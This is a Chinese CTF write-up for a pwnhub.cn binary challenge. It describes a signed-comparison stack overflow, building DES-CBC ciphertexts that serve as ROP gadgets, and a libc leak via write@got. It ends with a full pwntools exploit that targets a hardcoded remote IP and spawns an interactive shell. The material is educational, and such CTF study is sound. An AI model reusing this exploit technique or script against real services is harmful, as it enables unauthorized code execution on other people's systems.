pwnhub.cn 神秘人的捉弄 pwn Writeup

2016/12/10 CTF

这个题目输入数据必须为题目中指定的数据包的格式,否则程序会直接exit。如果输入符合格式,v 会让你很粗对包进行解析,根据解析道结果继续读入新的包进行进一步解析,之后会开启socket进行IO。

漏洞分析

本题有两个漏洞,一个是栈溢出漏洞,一个是堆溢出漏洞(getname的时候len+1可能导致malloc(0)),只不过可以利用的只有栈溢出漏洞。栈溢出漏洞存在于sub_401281中

  if ( *((_BYTE *)src + readlen - 1) > 8 )
  {
    write(1, &error2, 2uLL);
    exit(0);
  }
  readlen -= *((char *)src + readlen - 1);
  memcpy(s1, src, readlen);

在代码readlen -= *((char *)src + readlen - 1)中,如果*((char *)src + readlen - 1)为负数,则readlen会不减反增,从而导致readlen最大可能为0x178,而s1是栈上的0x100大小的buffer,因此memcpy(s1, src, readlen);会产生栈溢出。 。

值得注意的是,在比较语句if ( *((_BYTE *)src + readlen - 1) > 8 )中,8是有符号数,所以*((char *)src + readlen - 1)为负数不会使之成立,这也是漏洞存在的根本原因。如果这里的8是无符号的话(就像上一个长相差不多的if),那这里就不会存在漏洞了。

漏洞利用

这题的漏洞利用有一个比较烦的地方就是跟payload构造比较麻烦:

  1. 存在漏洞的函数要求我们的数据为“\x01”+hex(len(data1))+data1+hex(len(data2))+data2。其中data1和data2为长度最大为0xf8的DES密文,且以DES CBC解密的结果的第一个分组必须为admin\x00与explorer\x00,解密结果的最后一位会作为readlen -= *((char *)src + readlen - 1)中的*((char *)src + readlen - 1)参与溢出触发的payload的构造。
  2. memcpy(s1, src, readlen);中,src为攻击者可控最大为0xf8的堆上buffer,当readlen为0x178时,剩下的0x178-0xf8的内容来源于与src相邻的堆块,这个堆块存储的data2,所以要想利用栈溢出做ROP,我们必须要在CBC模式中构造一个密文本身是ROP gadget,解密出的明文的第一个分组为admin\x00的密文。

这些问题其实就是密码学的问题,第一个问题比较好解决,通过逆向可以找到key和iv,然后加密就好了。第二个的难点是如何在DES CBC中找到对应某个密文的明文。这个可能会卡一会,但是花些时间演算一下也不难解决。

接下来就是做ROP了,ROP调用wirte函数把write_got的内容打出来,并算出system和binsh的地址,然后返回main,重新触发漏洞,再次做ROP调用system(binsh)。

本来我以为这样就结束了,但是很悲催的发现好像缺少设置rdx的gadget。我发现的唯一能能比较好的设置rdx的gadget就是init函数中的万能gadget,但是由于这个题目能够用的gadget数量最多就只有8个,init函数的gadget太大(要进行2次6连pop,还要add rsp,8),所以就很尴尬了。

.text:0000000000405020 loc_405020:                             ; CODE XREF: init+54j
.text:0000000000405020                 mov     rdx, r13
.text:0000000000405023                 mov     rsi, r14
.text:0000000000405026                 mov     edi, r15d
.text:0000000000405029                 call    qword ptr [r12+rbx*8]
.text:000000000040502D                 add     rbx, 1
.text:0000000000405031                 cmp     rbx, rbp
.text:0000000000405034                 jnz     short loc_405020
.text:0000000000405036
.text:0000000000405036 loc_405036:                             ; CODE XREF: init+36j
.text:0000000000405036                 add     rsp, 8
.text:000000000040503A                 pop     rbx
.text:000000000040503B                 pop     rbp
.text:000000000040503C                 pop     r12
.text:000000000040503E                 pop     r13
.text:0000000000405040                 pop     r14
.text:0000000000405042                 pop     r15
.text:0000000000405044                 retn

这个问题卡了我很长时间。以至于后来我手动在各个函数寻找找能够设置rdx的方法,甚至把got能直接调的函数都调了一遍,期待在函数内部可以把rdx设置妥当,结果都失败了。最后只能又回到万能gadgets,看了一下栈的布局,发现第二次6连pop的最后一次pop时,栈顶居然是main函数的地址,这是巧合么?然后第一次6连pop中的第一个pop本来是将rbx设置为0的,但是我发现rbx在pop之前也是0!这又是巧合么?这样就可以第一次6连pop第一个pop省掉了,orz。省掉第一个pop之后第二次6连pop结束后的ret就正好返回到main了。所以问题也得以解决,于是又可以愉快的ROP弹shell了。

Exploit

from pwn import *;
from struct import pack;
from Crypto.Cipher import DES
port=12345
objname = "pwnhub"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="amd64", os="linux")
context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h"]


def attach():
    gdb.attach(io, execute="source bp")

def readuntil(delim):
    data = io.recvuntil(delim);
    return data;

def readlen(len):
    data = io.recv(len,1);
    return data;

def readall():
    data = io.recv(4096,1);
    return data;

def write(data):
    io.send(str(data));
    sleep(0.1)

def writeline(data):
    io.sendline(str(data));
    sleep(0.1)

def xor(a,b,len=8):
    res=""
    for i in range(len):
        res+=(chr(ord(b[i])^ord(a[i])))
    return res
def getcrypt(ahead,p):
    #--------------------------------------- 
    #t=ahead[len(ahead-8):len(ahead)]
    #p1=dec(p)^t
    #enc(p1^t)=enc(dec(p)^t^t)=enc(dec(p))=p
    #--------------------------------------- 
    deskey="explorer";
    enc1=DES.new(deskey,2,deskey);
    enc2=DES.new(deskey,2,deskey);
    c1=enc1.encrypt(ahead+p);
    c2=enc2.decrypt(c1[0:len(ahead)]+p);
    return ahead+c2[len(ahead):len(ahead)+8];
    
def attack(ip=0):
    global io
    if ip != 0:
        io = remote(ip,port)
    #ROP Gadgets
    prdi=0x00404217
    writeplt=0x04008C0
    writegot=0x607020
    main=0x400add
    setpara=0x0405020 
    pppppr=0x40503b 

    deskey=0xBE00BE76EC5CE70D;
    deskey=p64(deskey);
    enc1=DES.new(deskey,2,deskey);
    s1="explorer".ljust(0xf8,"\x00")
    e1=enc1.encrypt(s1);
    
    
    enc2=DES.new("explorer",2,"explorer");
    s2="admin".ljust(8,"\x00");
    
    payload1='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
    payload1+=p64(pppppr);
    payload1+=p64(1)#rbp
    payload1+=p64(writegot)#r12   
    payload1+=p64(16);
    payload1+=p64(writegot)
    payload1+=p64(1)
    payload1+=p64(setpara)
    payload1+=p64(main)
    payload1+=p64(main)
    payload1.ljust(232,'\x41')
    payload1.ljust(232,'\x41')
    for i in range(0,len(payload1),8):
        s2=getcrypt(s2,payload1[i:i+8])
    e2=enc2.encrypt(s2.ljust(0xf8,"\x80"));
    
    p1="\x05\x05"
    write(p1);
    p2="\x02\x02\x02\x02\x02";
    write(p2);
    p3="\x01\xf8"+e1+"\xf8"+e2;
    write(p3);
    sleep(0.1);
    write_addr=readall()[2:10];
    write_addr=u64(write_addr)

    system=write_addr-0xb1340
    binsh=write_addr+0x95aa7
    print hex(system)

    enc3=DES.new("explorer",2,"explorer");
    s3="admin".ljust(8,"\x00");
    payload2='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
    payload2+=p64(prdi)+p64(binsh);
    payload2+=p64(system)
    payload2+=p64(main)
    payload2.ljust(232,'\x41')
    
    for i in range(0,len(payload2),8):
        s3=getcrypt(s3,payload2[i:i+8])
    e3=enc3.encrypt(s3.ljust(0xf8,"\x80"));

    p1="\x05\x05"
    write(p1);
    p2="\x02\x02\x02\x02\x02";
    write(p2);
    p3="\x01\xf8"+e1+"\xf8"+e3;
    write(p3);
    sleep(0.1)
    readall()
    
    io.interactive();
attack("54.222.142.77")

Search

    Post Directory